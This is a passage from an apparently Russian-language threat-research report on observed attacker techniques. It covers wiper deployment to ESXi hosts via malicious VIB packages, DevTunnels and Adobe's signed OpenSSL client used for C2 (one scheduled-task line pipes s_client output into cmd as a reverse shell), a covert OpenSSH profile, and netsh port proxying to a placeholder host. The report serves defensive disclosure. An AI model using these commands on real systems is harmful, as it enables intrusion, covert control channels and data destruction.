В одном из случаев злоумышленники централизованно развернули и запустили уникальный вайпер на узлах виртуализации VMWare ESXi и применяли для этого пакеты VIB (VMware Installation Bundle). Установка пакета происходит при помощи стандартных инструментов управления ESXi: локально/удаленно (когда VIB лежит в локальном хранилище или доступен по URL).
esxcli software vib install --viburl=/path/to/file.vib
или через PowerCLI/vCenter, например
Connect-VIServer -Server vcenter.local
$esx = Get-VMHost -Name "esx01.local"
Install-VMHostPatch -VMHost $esx -HostPath "http://yourhost/path/file.vib"
Пример вредоносного VIB-пакета:
<vib version="5.0">
<type>bootbank</type>
<name>pack1</name>
<version>1.26.13</version>
<vendor>VMWare</vendor>
<summary></summary>
<description></description>
…
<file-list>
<file>sbin/backup.sh</file>
<file>sbin/dees</file>
<file>sbin/acfb20.sh</file>
</file-list>
<acceptance-level>community</acceptance-level>
…
</vib>
Многие злоумышленники предпочитают использовать встроенные в систему легитимные инструменты living off the land (LOLBins, LOL binaries). Каталоги примеров — на страницах проектов LOLBAS и GTFOBins.
Основные примеры использования таких инструментов уже были рассмотрены в предыдущем исследовании. В этот раз мы хотим поделиться более свежими и экзотичными примерами.
Так, злоумышленники использовали легитимный инструмент для туннелирования сетевого трафика DevTunnels для соединения с управляющей инфраструктурой. ВПО PlugX прослушивало локальные сетевые порты 53 и 5355, а при помощи DevTunnels открывался обратный туннель до C2 через инфраструктуру Microsoft. Пример использования:
C:\\WINDOWS\\system32\\Devtunnel.exe host [REDACTED]
В другом случае злоумышленники использовали компонент AdobeFips, входящий в состав Adobe Acrobat Reader, для установления соединения с контролирующим сервером. Он является подлинной версией клиента OpenSSL, подписанной компанией Adobe. Вот фрагмент вредоносной задачи, использующей этот инструмент:
<Actions Context="NetworkService">
<Exec>
<Command>%windir%\system32\speech_onecore\common\SpeechModelDownload.exe</Command>
</Exec>
<Exec>
<Command>%COMSPEC%</Command>
<Arguments>/c "%PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\OSSLLibs\AdobeFips.exe" s_client -quiet [REDACTED]|cmd</Arguments>
</Exec>
</Actions>
В одном из инцидентов нам встретилась вот такая нестандартная конфигурация SSH-профиля общедоступного SSH-клиента OpenSSH:
Host version
Hostname [REDACTED]
User [REDACTED]
Port 443
ServerAliveInterval 60
ServerAliveCountMax 15
RemoteForward 46033
StrictHostKeyChecking no
SessionType None
В этом примере используется подключение по протоколу HTTPS (порт 443), отключена проверка и запись в файл с известными узлами (known_hosts). Таким образом можно получить соединение без вывода предупреждения о ключах и по нестандартному порту. Более того - в совокупности с названием хоста, конфигурация позволяла злоумышленникам подключаться к С2 через относительно невинную на первый взгляд команду:
В дальнейшем, подобные манипуляции позволили злоумышленникам установить сетевой туннель средствами OpenSSH (более подробно подобные примеры можно изучить в нашей статье).
Ранее мы делились способом проксирования портов при помощи утилиты netsh, что тоже может быть использовано для перенаправления трафика на управляющие сервера злоумышленников:
netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp
Кроме ВПО и встроенных в систему легитимных инструментов, злоумышленники по-прежнему активно используют общедоступные утилиты. Мы разметили это ПО на тепловой карте согласно тактикам MITRE ATT&CK, отразив частоту их выявления в проектах (см. рисунок 13).